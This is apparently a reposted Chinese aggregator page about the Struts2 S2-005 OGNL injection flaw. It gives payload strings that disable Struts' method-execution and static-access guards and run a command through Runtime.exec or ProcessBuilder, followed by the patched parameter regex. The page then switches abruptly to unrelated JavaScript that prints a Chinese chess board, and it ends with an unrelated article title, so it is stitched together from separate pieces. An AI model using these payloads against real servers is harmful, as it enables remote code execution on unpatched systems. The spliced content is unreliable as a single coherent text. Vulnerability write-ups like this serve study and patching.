S2 005
Posted 王嘟嘟_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了S2 005相关的知识,希望对你有一定的参考价值。
0x00 前言
S2 005 是在S2 003 的基础上进行绕过的,可以先看Struts2 003
0x01 环境
Demo地址:https://github.com/xhycccc/Struts2-Vuln-Demo
启动后的内容:
0x02 漏洞分析
1.静态绕过
首先是在OgnlValueStack进行setRoot操作
在这里设置别名
位置:lib\\ognl-3.0.1.jar!\\ognl\\OgnlContext.class别名为:_memberAccess
通过_memberAccess可以设置acceptProperties为true,从而解除静态执行状态
首先设置denyMethodExecution
('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(a)(b)
然后设置acceptProperties
('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a)(b)
接着设置:excludeProperties
('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(a)(b)
最后设置执行内容:
('\\u0023m\\u003d@java.lang.Runtime@getRuntime().exec(\\'calc\\')')(a)(b)
2.动态绕过
不让执行静态方法,执行动态方法
首先设置denyMethodExecution
('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(a)(b)
然后直接执行代码
("\\u0023m\\u003dnew java.lang.ProcessBuilder(new java.lang.String[]'calc').start()")(a)(b)
0x03 修复
高版本通过private String acceptedParamNames = "[a-zA-Z0-9\\\\.\\\\]\\\\[\\\\(\\\\)_'\\\\s]+";
来进行严格的匹配
象棋相关
控制台打印棋盘:
代码如下:
var util = require('util');
str = "\\
1 2 3 4 5 6 7 8 9\\n\\
%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s \\n \\
┃ │ │ │ ╲ │ ╱ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ ╱ │ ╲ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ │ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ │ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ 楚河 汉界 ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ │ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ │ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ ╲ │ ╱ │ │ │ ┃ \\n \\
%s──%s──%s──%s──%s──%s──%s──%s──%s \\n \\
┃ │ │ │ ╱ │ ╲ │ │ │ ┃ \\n \\
%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s━━%s \\n \\
九 八 七 六 五 四 三 二 一\\
";
dict = '一':1, '二':2, '三':3, '四':4, '五':5, '六':6, '七':7, '八':8, '九':9
var bIdx = function(sidx)
return (sidx[1]-'1')*9 + (sidx[0] - '1')
var rIdx = function(sidx)
return (9-(sidx[1]-'1'))*9 + 9 - dict[sidx[0]];
var doPrint = (blue, red) =>
// https://www.wikiwand.com/en/Box-drawing_character
chess = [
"┏━", "┯━", "┯━", "┯━", "┯━", "┯━", "┯━", "┯━", "┓",
"┠─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┨",
"┠─", "╬─", "┼─", "┼─", "┼─", "┼─", "┼─", "╬─", "┨",
"╠─", "┼─", "╬─", "┼─", "╬─", "┼─", "╬─", "┼─", "╣",
"┠─", "┴─", "┴─", "┴─", "┴─", "┴─", "┴─", "┴─", "┨",
"┠─", "┬─", "┬─", "┬─", "┬─", "┬─", "┬─", "┬─", "┨",
"╠─", "┼─", "╬─", "┼─", "╬─", "┼─", "╬─", "┼─", "╣",
"┠─", "╬─", "┼─", "┼─", "┼─", "┼─", "┼─", "╬─", "┨",
"┣─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┼─", "┨",
"┗━", "┷━", "┷━", "┷━", "┷━", "┷━", "┷━", "┷━", "┛"];
blue.forEach(e =>
chess[bIdx(e[1])] = "\\033[36m" + e[0] + "\\033[0m";
);
red.forEach(e =>
chess[rIdx(e[1])] = "\\033[31m" + e[0] + "\\033[0m";
);
rr = util.format.apply(util,[str].concat(chess))
console.log(rr);
console.log("\\n");
doPrint([
["車", "11"], ["馬", "21"], ["象", "31"], ["士", "41"], ["將", "51"], ["士", "61"], ["象", "71"], ["馬", "73"], ["車", "81"],
["砲", "23"], ["砲", "83"],
["卒", "14"], ["卒", "34"], ["卒", "54"], ["卒", "74"], ["卒", "94"],
],[
["兵", "九4"], ["兵", "七5"], ["兵", "五4"], ["兵", "三4"], ["兵", "一4"],
["炮", "八3"], ["炮", "五3"],
["俥", "九1"], ["傌", "八1"], ["相", "七1"], ["仕", "六1"], ["帥", "五1"],["仕", "四1"], ["相", "三1"], ["傌", "二1"], ["俥", "一1"],
]);
doPrint( [
["象", "53"], ["將", "42"], ["卒", "56"]
],[
["兵", "六7"], ["兵", "四7"],["相", "七1"], ["帥", "五1"]
]);
doPrint( [
["將", "61"], ["士", "52"], ["士", "43"],["砲", "42"]
],[
["帥", "五1"], ["相", "七1"], ["傌", "二5"], ["傌", "八7"],
]);
doPrint( [
["將", "41"], ["士", "52"], ["士", "63"], ["象", "71"], ["象", "53"]
],[
["帥", "五3"], ["仕", "四3"], ["炮", "六2"], ["炮", "二1"],
]);
以上是关于S2 005的主要内容,如果未能解决你的问题,请参考以下文章
SPRING IN ACTION 第4版笔记-第六章RENDERING WEB VIEWS-005- 使用ApacheTiles(TilesConfigurerTilesViewResolver&(代